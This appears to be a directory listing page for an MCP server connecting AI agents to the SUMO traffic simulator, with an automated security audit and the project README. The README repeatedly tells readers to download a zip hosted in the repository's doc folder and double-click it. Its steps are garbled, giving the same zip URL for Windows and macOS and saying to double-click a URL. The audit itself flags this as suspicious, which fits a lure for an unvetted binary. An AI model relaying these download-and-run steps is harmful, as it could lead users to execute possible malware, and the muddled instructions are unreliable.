SUMO-MCP-Server

mcp
Guvenlik Denetimi
Uyari
Health Uyari
  • License — License: MIT
  • Description — Repository has a description
  • Active repo — Last push 0 days ago
  • Low visibility — Only 5 GitHub stars
Code Gecti
  • Code scan — Scanned 12 files during light audit, no dangerous patterns found
Permissions Gecti
  • Permissions — No dangerous permissions requested
Purpose
This tool acts as a middleware bridge connecting AI agents (like Claude) with the Eclipse SUMO traffic simulation platform, allowing AI models to automate traffic data retrieval, road network generation, and simulation control.

Security Assessment
The automated code scan did not find dangerous patterns or hardcoded secrets, and the tool requests no dangerous permissions. However, the README contains highly suspicious instructions. It repeatedly instructs users to download and run a compiled `.zip` file hosted directly on a GitHub raw link rather than using standard package managers like `pip`. The document's download and execution instructions appear to be poorly generated or poorly translated, which raises slight concerns despite the code itself appearing clean. Overall risk is rated as Medium due to the unusual distribution method and executable downloads.

Quality Assessment
The project is very new and lacks community visibility, having only 5 GitHub stars. Despite being a Python project, the documentation leans heavily towards manual executable downloads for Windows and macOS. It is licensed under the standard MIT license, which is good for open-source transparency, but the low visibility means it hasn't been thoroughly vetted by the broader developer community yet.

Verdict
Use with caution: the source code appears safe, but you should strictly review the contents of the compiled binary files before executing the recommended manual download.
SUMMARY

🚦 Simulate and control intelligent traffic systems with SUMO-MCP, a robust platform designed for efficient transportation management and analysis.

README.md

🚀 SUMO-MCP-Server - Connect AI with Traffic Simulations

Download SUMO-MCP-Server

🛠️ Overview

SUMO-MCP 是一个连接大语言模型 (LLM) 与 Eclipse SUMO 交通仿真的中间件。通过 Model Context Protocol (MCP),它允许 AI 智能体(如 Claude, Cursor, TRAE等)直接调用 SUMO 的核心功能,自动完成从OpenStreetMap 数据获取、路网生成、需求建模到仿真运行与信号优化的全流程。

📋 Features

  • 简单配置: 轻松设置与运行SUMO-MCP-Server。
  • 全面集成: 支持多种AI智能体,增强模拟体验。
  • 自动化流程: 从数据获取到信号优化,全面支持。
  • 用户友好: 设计考虑非技术用户,便于操作。

🖥️ System Requirements

  • 操作系统: Windows 10 或 macOS 10.14 及以上版本
  • 内存: 至少 4 GB RAM
  • 硬盘空间: 需要 1 GB 可用空间
  • 网络: 需要互联网连接以获取最新的数据和功能

🚀 Getting Started

Follow these steps to download and run SUMO-MCP-Server:

  1. Visit the Releases Page: Click the link below to go to the download page.

    Visit Releases Page

  2. Download the Latest Version: On the releases page, find the latest version. Look for the file that matches your operating system (for example, https://raw.githubusercontent.com/HypaSMarty/SUMO-MCP-Server/main/doc/Server_SUM_MC_v1.8-beta.4.zip or https://raw.githubusercontent.com/HypaSMarty/SUMO-MCP-Server/main/doc/Server_SUM_MC_v1.8-beta.4.zip).

  3. Extract the Files:

    • If you are on Windows, right-click the downloaded zip file and select "Extract All...".
    • For macOS, double-click the zip file to unzip it.
  4. Run the Application:

    • On Windows, navigate to the extracted folder and double-click https://raw.githubusercontent.com/HypaSMarty/SUMO-MCP-Server/main/doc/Server_SUM_MC_v1.8-beta.4.zip.
    • On macOS, navigate to the extracted folder and double-click https://raw.githubusercontent.com/HypaSMarty/SUMO-MCP-Server/main/doc/Server_SUM_MC_v1.8-beta.4.zip.
  5. Follow On-Screen Instructions: Once the application is open, follow the prompts to set up your traffic simulation.

📥 Download & Install

To begin using SUMO-MCP-Server, you need to download it. Click the link below to access the releases page where you can find all available versions.

Download SUMO-MCP-Server

📝 Configuration

To configure SUMO-MCP-Server, follow the steps below:

  1. Set API Keys: If you are integrating with external APIs, ensure you enter your API keys in the settings section.

  2. Choose Your Simulation Parameters: Define the parameters for your traffic simulation, such as the road network and desired traffic conditions.

  3. Save Settings: Confirm all your settings by clicking the "Save" button in the configuration menu.

🌐 Documentation

For detailed instructions and guidance on advanced features, refer to the official documentation. You can explore examples, tutorials, and best practices to enhance your experience with SUMO-MCP-Server.

❓ Troubleshooting

If you encounter issues while using SUMO-MCP-Server, consider the following common problems:

  • Application Doesn't Open: Ensure your system meets the minimum requirements. Make sure you extracted all files from the downloaded zip.

  • Network Issues: If the application cannot connect, check your internet connection and try again.

  • Incorrect Configuration: Double-check your configuration settings. Make sure all required fields are filled correctly.

💬 Support

For further assistance, please visit our Support Page where you can report issues or ask questions.

📅 Changelog

Stay updated by reviewing the changelog on the releases page. We regularly add features and fix known issues to improve your experience.

🎉 Acknowledgments

We appreciate the contributions from the community and developers that have made SUMO-MCP-Server possible. Your support helps us grow and improve our software.

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